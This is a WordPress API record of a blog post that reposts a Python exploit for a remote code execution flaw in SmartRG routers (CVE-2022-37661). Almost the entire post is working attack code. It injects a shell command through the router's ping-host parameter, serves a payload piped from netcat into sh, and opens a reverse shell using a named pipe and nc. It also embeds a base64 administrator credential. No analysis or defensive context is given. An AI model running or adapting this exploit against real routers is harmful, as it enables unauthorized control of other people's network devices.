{"id":30505,"date":"2022-09-12T20:20:02","date_gmt":"2022-09-12T16:20:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168336\/smartrg2613-exec.txt"},"modified":"2022-09-13T08:23:47","modified_gmt":"2022-09-13T03:53:47","slug":"smartrg-router-2-6-13-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/smartrg-router-2-6-13-remote-code-execution\/","title":{"rendered":"SmartRG Router 2.6.13 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: SmartRG Router &#8211; Remote Code Execution<br \/>\n# Date: 13\/06\/2022<br \/>\n# Exploit Author: Yerodin Richards<br \/>\n# Vendor Homepage: https:\/\/adtran.com<br \/>\n# Version: 2.5.15 \/ 2.6.13 (confirmed)<br \/>\n# Tested on: SR506n (2.5.15) &amp; SR510n (2.6.13)<br \/>\n# CVE : CVE-2022-37661<\/p>\n<p dir=\"ltr\">import requests<br \/>\nfrom subprocess import Popen, PIPE<\/p>\n<p dir=\"ltr\">router_host = &#8220;http:\/\/192.168.1.1&#8221;<br \/>\nauthorization_header = &#8220;YWRtaW46QWRtMW5ATDFtMyM=&#8221;<\/p>\n<p dir=\"ltr\">lhost = &#8220;lo&#8221;<br \/>\nlport = 80<\/p>\n<p dir=\"ltr\">payload_port = 81<\/p>\n<p dir=\"ltr\">def main():<br \/>\ne_proc = Popen([&#8220;echo&#8221;, f&#8221;rm \/tmp\/s &amp; mknod \/tmp\/s p &amp; \/bin\/sh 0&lt; \/tmp\/s | nc {lhost} {lport} &gt; \/tmp\/s&#8221;], stdout=PIPE)<br \/>\nPopen([&#8220;nc&#8221;, &#8220;-nlvp&#8221;, f&#8221;{payload_port}&#8221;], stdin=e_proc.stdout)<br \/>\nsend_payload(f&#8221;|nc {lhost} {payload_port}|sh&#8221;)<br \/>\nprint(&#8220;done.. check shell&#8221;)<\/p>\n<p dir=\"ltr\">def get_session():<br \/>\nurl = router_host + &#8220;\/admin\/ping.html&#8221;<br \/>\nheaders = {&#8220;Authorization&#8221;: &#8220;Basic {}&#8221;.format(authorization_header)}<br \/>\nr = requests.get(url, headers=headers).text<br \/>\ni = r.find(&#8220;&amp;sessionKey=&#8221;) + len(&#8220;&amp;sessionKey=&#8221;)<br \/>\ns = &#8220;&#8221;<br \/>\nwhile r[i] != &#8220;&#8216;&#8221;:<br \/>\ns = s + r[i]\ni = i + 1<br \/>\nreturn s<\/p>\n<p dir=\"ltr\">def send_payload(payload):<br \/>\nprint(payload)<br \/>\nurl = router_host + &#8220;\/admin\/pingHost.cmd&#8221;<br \/>\nheaders = {&#8220;Authorization&#8221;: &#8220;Basic {}&#8221;.format(authorization_header)}<br \/>\nparams = {&#8220;action&#8221;: &#8220;add&#8221;, &#8220;targetHostAddress&#8221;: payload, &#8220;sessionKey&#8221;: get_session()}<br \/>\nrequests.get(url, headers=headers, params=params).text<\/p>\n<p dir=\"ltr\">main()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: SmartRG Router &#8211; Remote Code Execution # Date: 13\/06\/2022 # Exploit Author: Yerodin Richards # Vendor Homepage: https:\/\/adtran.com # Version: 2.5.15 \/ 2.6.13 (confirmed) # Tested on: SR506n (2.5.15) &amp; SR510n (2.6.13) # CVE : CVE-2022-37661 import requests from subprocess import Popen, PIPE router_host = &#8220;http:\/\/192.168.1.1&#8221; authorization_header = &#8220;YWRtaW46QWRtMW5ATDFtMyM=&#8221; lhost = &#8220;lo&#8221; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-30505","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30505","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=30505"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30505\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=30505"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=30505"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=30505"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}